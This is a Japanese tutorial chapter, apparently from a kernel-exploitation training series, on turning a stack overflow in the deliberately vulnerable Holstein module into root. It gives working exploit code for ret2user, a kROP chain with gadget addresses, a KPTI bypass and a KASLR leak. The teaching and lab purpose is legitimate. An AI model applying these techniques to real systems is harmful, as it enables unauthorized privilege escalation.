Holstein v1: Stack Overflowの悪用

前節ではHolsteinモジュールにStack Overflowを見つけ、脆弱性を利用してRIPを取れることを確認しました。この節ではこれをLPEに繋げる方法と、さまざまなセキュリティ機構を回避する方法を学びます。

権限昇格の方法

権限昇格の方法にはいろいろありますが、最も基本的な手法はcommit_credsを使う方法です。これは、カーネルがroot権限のプロセスを作る時に実行する処理と同じことを実行する方法で、非常に自然な考え方です。
root権限を取った後にもう1つ重要なのが、ユーザー空間に戻ることです。今カーネルモジュールをexploitしているのでコンテキストはカーネルですが、最終的にはユーザー空間に戻ってroot権限のシェルを取る必要があるので、クラッシュせずにユーザー空間に戻る必要があります。
まずはこれらの理論的部分について説明します。

prepare_kernel_credとcommit_creds

すべてのプロセスには権限が割り当てられます。これはcred構造体と呼ばれる構造体でヒープ上で管理されています。各プロセス（タスク）はtask_struct構造体という構造体で管理され、その中にcred構造体へのポインタがあります。

struct task_struct {
    ...
	/* Process credentials: */

	/* Tracer's credentials at attach: */
	const struct cred __rcu		*ptracer_cred;

	/* Objective and real subjective task credentials (COW): */
	const struct cred __rcu		*real_cred;

	/* Effective (overridable) subjective task credentials (COW): */
	const struct cred __rcu		*cred;
    ...
}

cred構造体はプロセスが生成されるタイミングなどで作られるのですが、それを担う関数としてprepare_kernel_credというKernel Exploitで非常に重要な関数があります。この関数を少しだけ読んでみましょう。

/* 引数としてtask_struct構造体へのポインタを取る */
struct cred *prepare_kernel_cred(struct task_struct *daemon)
{
	const struct cred *old;
	struct cred *new;

	new = kmem_cache_alloc(cred_jar, GFP_KERNEL);
	if (!new)
		return NULL;

	kdebug("prepare_kernel_cred() alloc %p", new);

	if (daemon)
		old = get_task_cred(daemon);
	else
		old = get_cred(&init_cred);

    ...

    return new;
}

第一引数にNULLを与えてprepare_kernel_credを呼んだ時の挙動を追います。まず以下のコードでcred構造体が新たに確保されます。

new = kmem_cache_alloc(cred_jar, GFP_KERNEL);

そして第一引数daemonがNULLのとき、次のコードでinit_credと呼ばれるcred構造体のデータが引き継がれます。

old = get_cred(&init_cred);

その後oldの正当性を検証し、oldからnewに適当にメンバを引き継いでいきます。

prepare_kernel_cred(NULL)により、init_credを使ったcred構造体が生成されます。ではinit_credの定義も見てみましょう。

/*
 * The initial credentials for the initial task
 */
struct cred init_cred = {
	.usage			= ATOMIC_INIT(4),
#ifdef CONFIG_DEBUG_CREDENTIALS
	.subscribers		= ATOMIC_INIT(2),
	.magic			= CRED_MAGIC,
#endif
	.uid			= GLOBAL_ROOT_UID,
	.gid			= GLOBAL_ROOT_GID,
	.suid			= GLOBAL_ROOT_UID,
	.sgid			= GLOBAL_ROOT_GID,
	.euid			= GLOBAL_ROOT_UID,
	.egid			= GLOBAL_ROOT_GID,
	.fsuid			= GLOBAL_ROOT_UID,
	.fsgid			= GLOBAL_ROOT_GID,
	.securebits		= SECUREBITS_DEFAULT,
	.cap_inheritable	= CAP_EMPTY_SET,
	.cap_permitted		= CAP_FULL_SET,
	.cap_effective		= CAP_FULL_SET,
	.cap_bset		= CAP_FULL_SET,
	.user			= INIT_USER,
	.user_ns		= &init_user_ns,
	.group_info		= &init_groups,
	.ucounts		= &init_ucounts,
};

コードを見れば分かるように、init_credはまさにroot権限のcred構造体になります。

これでroot権限のcred構造体が作れそうです。次にこの権限を現在のプロセスに設定してやる必要があります。その役割を果たすのがcommit_creds関数になります。

int commit_creds(struct cred *new)

したがって、

commit_creds(prepare_kernel_cred(NULL));

を呼び出すのがKernel Exploitで権限昇格するための1つの手法となります。

[2023年3月28日追記]
Linuxカーネル6.2からはprepare_kernel_credにNULLが渡せなくなりました。
init_credはまだ存在するので、commit_creds(&init_cred)を実行すれば同じことが可能です。

swapgs: ユーザー空間への復帰

prepare_kernel_credとcommit_credsでめでたくroot権限が取れたのですが、それで終わりではありません。
ROP chainが終わった後、何事もなかったかのようにユーザー空間に復帰してシェルを取る必要があります。せっかくroot権限を取ってもクラッシュしたり、プロセスが終了したりしては意味がありません。

ROPというのは本来保存されていたスタックフレームを破壊してchainを書き込むので、元に戻るというのは直感的には非常に困難です。しかし、Kernel Exploitではあくまで脆弱性を発火させるプログラム（プロセス）は我々が作るので、ROP終了後にRSPをユーザー空間に戻し、RIPをシェルを取る関数に設定してやればユーザー空間に戻れます。
そもそもユーザー空間からカーネル空間に移動する方法ですが、これはCPUの命令が特権モードを切り替えることで実現されます。ユーザー空間からカーネル空間に行く方法は通常システムコールsyscallと割り込みintだけです。そして、カーネル空間からユーザー空間に戻るためには通常sysretq, iretqという命令が使われます。sysretqよりiretqの方が単純ですので、Kernel Exploitでは普通iretqを使います。また、カーネルからユーザー空間に戻る際、カーネルモードのGSセグメントからユーザーモードのGSセグメントに切り替える必要があります。このためにIntelではswapgs命令が用意されています。
流れとしてはswapgsとiretqを順番に呼び出せば良いです。iretqを呼び出すとき、スタックには戻り先のユーザー空間の情報を次のように積んでおく必要があります。

ユーザー空間のRSP, RIPに加え、CS,SS,RFLAGSもユーザー空間のものに戻す必要があります。RSPはどこでも良いですし、RIPはシェルを起動する関数にでも設定しておけば良いです。残りのレジスタはもともとユーザー空間にいたときの値を使えば良いので、次のようにレジスタの値を保存する補助関数を用意しておきましょう。（RSPも保存しておきました。）

static void save_state() {
  asm(
      "movq %%cs, %0\n"
      "movq %%ss, %1\n"
      "movq %%rsp, %2\n"
      "pushfq\n"
      "popq %3\n"
      : "=r"(user_cs), "=r"(user_ss), "=r"(user_rsp), "=r"(user_rflags)
      :
      : "memory");
}

ユーザー空間にいる間にこれを呼んでおき、iretqを呼ぶタイミングでこの値を使えるようにしておけば良いです。

ret2user (ret2usr)

ここまで説明してきた理論を使って、いよいよ権限昇格を実践してみます。

まずは最も基礎的な手法であるret2userについて説明します。今回SMEPが無効なので、ユーザー空間のメモリに置いてあるコードをカーネル空間から実行できます。つまり、ここまで説明したprepare_kernel_cred, commit_creds, swapgs, iretqの流れをそのままC言語で書いておけばOKです。

static void win() {
  char *argv[] = { "/bin/sh", NULL };
  char *envp[] = { NULL };
  puts("[+] win!");
  execve("/bin/sh", argv, envp);
}

static void restore_state() {
  asm volatile("swapgs ;"
               "movq %0, 0x20(%%rsp)\t\n"
               "movq %1, 0x18(%%rsp)\t\n"
               "movq %2, 0x10(%%rsp)\t\n"
               "movq %3, 0x08(%%rsp)\t\n"
               "movq %4, 0x00(%%rsp)\t\n"
               "iretq"
               :
               : "r"(user_ss),
                 "r"(user_rsp),
                 "r"(user_rflags),
                 "r"(user_cs), "r"(win));
}

static void escalate_privilege() {
  char* (*pkc)(int) = (void*)(prepare_kernel_cred);
  void (*cc)(char*) = (void*)(commit_creds);
  (*cc)((*pkc)(0));
  restore_state();
}

これらの処理は簡単なKernel Exploitでは頻出なので、各自自分に合ったコードでテンプレートとして持っておきましょう。main関数の先頭にでもsave_stateを呼ぶ処理を追加しておきましょう。

escalate_privilege関数内でprepare_kernel_credとcommit_credsという関数ポインタが必要になりますが、今回KASLRが無効なのでこの値は固定のはずです。実際にこれらの関数のアドレスを取得し、コード中に書いておきましょう。

さて、あとは脆弱性を使ってescalate_privilege関数を呼べば終わりです。適当にescalate_privilegeのポインタを大量に書き込んでも良いですが、後々ROPをすることになるので、リターンアドレスの正確なオフセットを把握しておきましょう。
オフセットはカーネルモジュールをIDAなどで読んで計算しても良いですが、せっかくなのでgdbを使って脆弱性が発火する部分を確認しましょう。

module_write中で_copy_from_userを呼んでいる箇所をIDAなどで見ると、アドレスは0x190です。/proc/modulesから得たベースアドレスと足してブレークポイントを付けた状態でwriteを呼んでみます。
書き込み先のRDIから0x400先は次のようになっています。

さらにretまで進めると、

となっており、RSPは0xffffc90000413eb0を指しています。

したがって、0x408バイトだけゴミデータを入れた後からRIPを制御できそうです。
ということで、次のようにexploitを変更してみました。

char buf[0x410];
memset(buf, 'A', 0x410);
*(unsigned long*)&buf[0x408] = (unsigned long)&escalate_privilege;
write(fd, buf, 0x410);

最終的なexploitはここに置いておきます。

module_writeのret命令で止めてみると、escalate_privilegeに到達していることが分かります。

nextiコマンドを実行しても次の命令で止まらないことがあるよ。
そういうときはstepiを試してみるか、少し先にブレークポイントを貼ると良いかも？

正しくexploitが書けていればprepare_kernel_credとcommit_credsを通過します。restore_stateの中もステップインで見てみましょう。iretqを呼ぶ際のスタックは次のようになります。

stepiでwin関数に飛んでいれば成功です。

今はもともとroot権限なので成功したか分かりませんが、とりあえずユーザー空間に戻れています。
では変更した設定(S99pawnyable)を元に戻し、一般ユーザーからexploitを実行してみましょう。

権限昇格に成功しました！
初めて知る知識が多くて少し難しかったかもしれませんが、これからさらにヒープや競合などの脆弱性を扱っていくうちに、どんな脆弱性でもほとんどやることは同じなので、実は結構簡単だと気付くことになります。お楽しみに！

kROP

次にSMEPを有効化してみましょう。qemu起動時のcpu引数にsmepを付けてみましょう。

-cpu kvm64,+smep

この状態で先程のret2userのexploitを動かしてみましょう。

クラッシュしてしまいました😢
「unable to execute userspace code (SMEP?)」となっており、SMEPによりユーザー空間のコードが実行できなくなっていることが分かります。

これはユーザー空間におけるNX(DEP)に非常に似ています。ユーザー空間のデータを読み書きはできますが、実行はできなくなりました。したがって、NXを回避するのと同様に、SMEPはROPにより回避可能です。カーネル空間でのROPをkROPと呼ぶことが多いです。

Kernel Exploitに挑戦している皆さんならret2userでやった処理をROPにするのも簡単だと思います。実際ROP chainを書くにあたり特に注意する点はありませんが、ROP gadgetを探す部分までは一緒にやっていきましょう。
まずLinuxカーネルのROP gadgetを探すには、bzImageからvmlinuxというカーネルのコアになるELFを取り出す必要があります。これには公式でextract-vmlinuxというシェルスクリプトが提供されているので利用しましょう。

$ extract-vmlinux bzImage > vmlinux

あとはお好みのツールを使ってROP gadgetを探します。

$ ropr vmlinux --noisy --nosys --nojop -R '^pop rdi.+ret;'
...
0xffffffff8127bbdc: pop rdi; ret;
...

出力されるアドレスは絶対アドレスになっています。この値はKASLRを無効にした際のベースアドレス（0xffffffff81000000）に相対アドレスを足したものなので、例えば上の例だと0x27bbdcが相対アドレスになります。今回はKASLRが無効なので出力されたアドレスをそのまま使えますが、KASLRが有効な場合は相対アドレスを使うように注意しましょう。
Linuxカーネルはlibcなどよりも膨大な量のコードなので、基本的に任意の操作ができるほどのROP gadgetがあります。今回は以下のgadgetを使いましたが、デバッグの練習も兼ねて自分の好きなROP chainを組んでみてください。

0xffffffff8127bbdc: pop rdi; ret;
0xffffffff81c9480d: pop rcx; ret;
0xffffffff8160c96b: mov rdi, rax; rep movsq [rdi], [rsi]; ret;
0xffffffff8160bf7e: swapgs; ret;

最後にiretqが必要ですが、これは通常のツールでは探してくれないのでobjdumpなどで探しましょう。

$ objdump -S -M intel vmlinux | grep iretq
ffffffff810202af:       48 cf                   iretq
...

ROP gadgetを探すためのツールのほとんどはカーネルのような膨大な量のバイナリに対して十分にテストされていないよ。
対応していない命令をスキップしていたり、命令のprefixを省略したりと、間違った出力が多いから気を付けようね。
それから、gadgetがカーネル空間で実際に実行可能領域に含まれるかを正しく判別できないツールがほとんどだから、アドレスが大きいgadget (例:0xffffffff81cXXXYYY) には特に注意が必要だよ。

ROP chainの書き方は自由ですが、筆者は次のように書いています。gadgetを途中で追加したり削除したりしてもオフセットの値を変更しなくて良いため、おすすめです。

unsigned long *chain = (unsigned long*)&buf[0x408];
*chain++ = rop_pop_rdi;
*chain++ = 0;
*chain++ = prepare_kernel_cred;
...

ROP chainに直すだけなので、各自でexploitを書いてみてください。exploitの例はここからダウンロードできます。

ROP chainがなぜか動かないけどデバッグするのが面倒な場合は、ユーザーランドのexploitと同様に適当なアドレスを入れてクラッシュメッセージを見て、そこまで実行できているかデバッグするのが楽です。

*chain++ = rop_pop_rdi;
*chain++ = 0;
*chain++ = 0xdeadbeefcafebabe;
...

この際必ずカーネルやユーザーランドでマップされていないアドレスを使うようにしましょう。ROPが正しく動けばSMEPを回避してroot権限が取れるはずです。

今回のROP chainはカーネル空間のスタックで動いているので、実はSMAPを有効にしてもexploitはそのまま動きます。試してみてください。

通常「mov rdi, rax; rep movsq; ret;」のようなgadgetが存在し、prepare_kernel_cred(NULL)の結果をcommit_credsに渡せます。あるいは「mov rdi, rax; call rcx;」のようなgadgetでcommit_credsの先頭のpush rbpをスキップして実行しても良いでしょう。
どうしてもgadgetが見つからない時や、ROP chainを短くしたいときはinit_credが使えます。init_credというグローバル変数にはroot権限のcred構造体が入っています。つまり、単にcommit_creds(init_cred)を実行するだけでも権限昇格できます。

KPTIの扱い

次にSMAP, SMEP, KPTIを有効にした状態でexploitしてみましょう。
KPTI自体はこのような一般的な脆弱性に対する緩和策ではなく、Meltdownという特定のサイドチャネル攻撃に対応するための緩和策です。そのため、これまで使ってきたexploit手法に影響はありませんが、KPTIを有効にした状態でexploitを実行すると次のようにユーザー空間でクラッシュしてしまいます。

ユーザー空間で死んでいるので、swapgsからのiretqでユーザー空間には戻れているのですが、KPTIの影響でページディレクトリがカーネル空間のままなので、ユーザー空間のページが読めない状態になっています。
セキュリティ機構の節でも書いたように、ユーザーランドに戻る前にCR3レジスタに0x1000をORしておく必要があります。「そんなgadgetあるのか？」と思うかもしれませんが、この処理はカーネルからユーザー空間に戻る正規の処理に必ず存在しているはずなので、100%見つかります。
具体的には、swapgs_restore_regs_and_return_to_usermodeマクロで実装されています。重要なのは以下の部分です。

movq	%rsp, %rdi
movq	PER_CPU_VAR(cpu_tss_rw + TSS_sp0), %rsp
UNWIND_HINT_EMPTY

   /* Copy the IRET frame to the trampoline stack. */
pushq	6*8(%rdi)	/* SS */
pushq	5*8(%rdi)	/* RSP */
pushq	4*8(%rdi)	/* EFLAGS */
pushq	3*8(%rdi)	/* CS */
pushq	2*8(%rdi)	/* RIP */

/* Push user RDI on the trampoline stack. */
pushq	(%rdi)

   /*
 * We are on the trampoline stack.  All regs except RDI are live.
 * We can do future final exit work right here.
 */
STACKLEAK_ERASE_NOCLOBBER

SWITCH_TO_USER_CR3_STACK scratch_reg=%rdi

/* Restore RDI. */
popq	%rdi
SWAPGS
INTERRUPT_RETURN

最初にpushしているのは後述しますが、iretqに向けてスタックを整備しているものです。その後SWITCH_TO_USER_CR3_STACKを使ってCR3を更新しています。このマクロのアドレスを調べましょう。

/ # cat /proc/kallsyms | grep swapgs_restore_regs_and_return_to_usermode
ffffffff81800e10 T swapgs_restore_regs_and_return_to_usermode

なお、シンボルが消えている場合はobjdumpなどでCR3に対する操作（rdiを使って操作している箇所）を探せば良いです。
さて、ROP chainの中でこのswapgs_restore_regs_and_return_to_usermodeのどこにジャンプするかですが、目的はCR3の更新なのでひと目見ると次の箇所に飛べばページディレクトリをユーザー空間に戻してくれそうです。

しかし、CR3をユーザー空間のものに更新したらカーネル空間のスタックにあるデータはもはや参照できないので、最後のpopやiretqでデータを読み込むことはできません。
実は（当たり前と言えば当たり前ですが）このコンテキストスイッチを実現するためにユーザー空間からもカーネル空間からもアクセスが許可されている場所がいくつかあります。先程の

movq	%rsp, %rdi
movq	PER_CPU_VAR(cpu_tss_rw + TSS_sp0), %rsp
UNWIND_HINT_EMPTY

の部分は事前にスタックをその場所に調整していたものです。
そして、続くpushは本来iretqに渡るはずだったカーネルのスタックにあったデータを、CR3更新後にもアクセス可能な領域にコピーしているコードです。したがって、ROP中では次の0xffffffff81800e26の箇所にジャンプする必要があります。

今回の場合はswapgsの前にpop raxとpop rdiがあります。

0xffffffff81800e89:  pop    rax
0xffffffff81800e8a:  pop    rdi
0xffffffff81800e8b:  swapgs

先ほどの図でpush [rdi]; push raxしていた値がここでrax, rdiに戻されます。そして、swapgs時点でのスタックは冒頭の

0xffffffff81800e32:  push   QWORD PTR [rdi+0x30]
0xffffffff81800e35:  push   QWORD PTR [rdi+0x28]
0xffffffff81800e38:  push   QWORD PTR [rdi+0x20]
0xffffffff81800e3b:  push   QWORD PTR [rdi+0x18]
0xffffffff81800e3e:  push   QWORD PTR [rdi+0x10]

で構築されたもの（rdiは元のrsp）ですので、gadget呼び出しの0x10バイト先にswapgsで使うデータを置く必要があります。

*chain++ = rop_bypass_kpti;
*chain++ = 0xdeadbeef;
*chain++ = 0xdeadbeef;
*chain++ = (unsigned long)&win; // [rdi+0x10]
*chain++ = user_cs;
*chain++ = user_rflags;
*chain++ = user_rsp;
*chain++ = user_ss;

この点に気をつけて、KPTIのもとでも動くkROPを自分の手で完成させてみてください。

KASLRの回避

ここまでKASLRを無効化してきましたが、KASLR有効だとexploit可能でしょうか。

KASLRのエントロピー

本題に入る前に、そもそもKASLRはどのように実装されているのでしょうか。
カーネルのアドレスランダム化はページテーブルレベルで行われ、kaslr.cのkernel_randomize_memory関数で実装されています。
カーネルは0xffffffff80000000から0xffffffffc0000000までの1GBのアドレス空間を確保しています。したがって、KASLRが有効でも0x810から0xc00までの、たかだか0x3f0通り程度のベースアドレスしか生成されません。

カーネル空間のASLRはユーザー空間よりも弱いんだね。
意外かもしれないけど、カーネルでは一度攻撃が失敗するとカーネルパニックになって総当りが現実的じゃないから、エントロピーが小さくても十分だよ。

アドレスリーク

ASLRを回避するのと同様に、Kernel ExploitでもKASLRを回避するためにはカーネル空間のアドレスリークが必要です。カーネルは全プログラムで共通なので、例えこのドライバに脆弱性がなくても、別のドライバやカーネル自体にアドレスリークの脆弱性がある場合、それを使えます。
今回はmodule_readに範囲外読み込みの脆弱性があるため、これを利用しましょう。今まではmodule_writeのStack Overflowを悪用しましたが、module_readにも同様のスタック上での脆弱性が存在します。

static ssize_t module_read(struct file *file,
                        char __user *buf, size_t count,
                        loff_t *f_pos)
{
  char kbuf[BUFFER_SIZE] = { 0 };

  printk(KERN_INFO "module_read called\n");

  memcpy(kbuf, g_buf, BUFFER_SIZE);
  if (_copy_to_user(buf, kbuf, count)) {
    printk(KERN_INFO "copy_to_user failed\n");
    return -EINVAL;
  }

  return count;
}

スタック上の変数kbufにデータを入れていますが、copy_to_userでコピーできるサイズは自由です。したがって、0x400バイトより多くのデータをスタックから読むことが可能です。スタック上にはリターンアドレスの他にも様々なデータがあるため、カーネルの関数やデータの一部を指したポインタが必ず存在します。これをリークすることで、カーネルがロードされたベースアドレスが計算でき、さらにcommit_creds等の関数のアドレスも分かります。

まずはスタック上にKASLRのベースアドレスを特定できるアドレスが存在するかをgdbで確認します。基本的に、デバッグ中はKASLRを無効にしておきましょう。

0xffffffff81000000付近を指しているアドレスを探すと、上の図で0xffffc9000041beb0と0xffffc9000041bef0にそれぞれ0xffffffff8113d33cと0xffffffff8113d6e3が存在します。このアドレスが何かをkallsymsから調べましょう。ちょうどこのアドレスに合うシンボルは見つからないので、リターンアドレスなど関数の途中を指すポインタであると推測できます。下位数ビットを除外してgrepしてみると、次のようにいくつかヒットします。

vfs_readやksys_read関数の途中を指しているようです。いずれにせよFGKASLRは無効ですので、カーネルのベースアドレスからこのポインタまでのオフセットは固定です。今回は最初のvfs_readを指しているポインタを利用します。

/* Leak kernel base */
memset(buf, 'B', 0x480);
read(fd, buf, 0x410);
unsigned long addr_vfs_read = *(unsigned long*)&buf[0x408];
unsigned long kbase = addr_vfs_read - (0xffffffff8113d33c-0xffffffff81000000);
printf("[+] kbase = 0x%016lx\n", kbase);

これでSMAP,SMEP,KPTI,KASLRすべて有効でも動作するexploitが書けます。ROP gadgetや各種関数に、リークしたカーネルのベースアドレスを使うように修正してみてください。次のようにKASLR有効でも権限昇格できれば成功です。

Exploitの例はここからダウンロードできます。

---

練習問題LK01のスタックオーバーフロー脆弱性のみを利用して、次の各セキュリティ機構の組み合わせでROPをせずret2userのみで権限昇格は可能でしょうか。可能な場合はexploitを書き、不可能な場合は理由を説明してください。
(1) SMAP無効 / SMEP無効 / KPTI有効
(2) SMAP有効 / SMEP無効 / KPTI無効

セキュリティ機構の節で見たように、SMEPはCR4レジスタの21ビット目で制御されます。kROPでCR4レジスタの21ビット目を0にすることでSMEPを無効化し、ret2userで権限昇格できるでしょうか？ 可能な場合はexploitを書き、不可能な場合は理由を説明してください。

SMAP,SMEP,KPTIが無効でKASLRが有効なとき、Stack Overflow脆弱性のみで（すなわちreadは使わず）権限昇格してください。
ヒント：ret2usrでシェルコードを実行する瞬間のレジスタの値を確認する。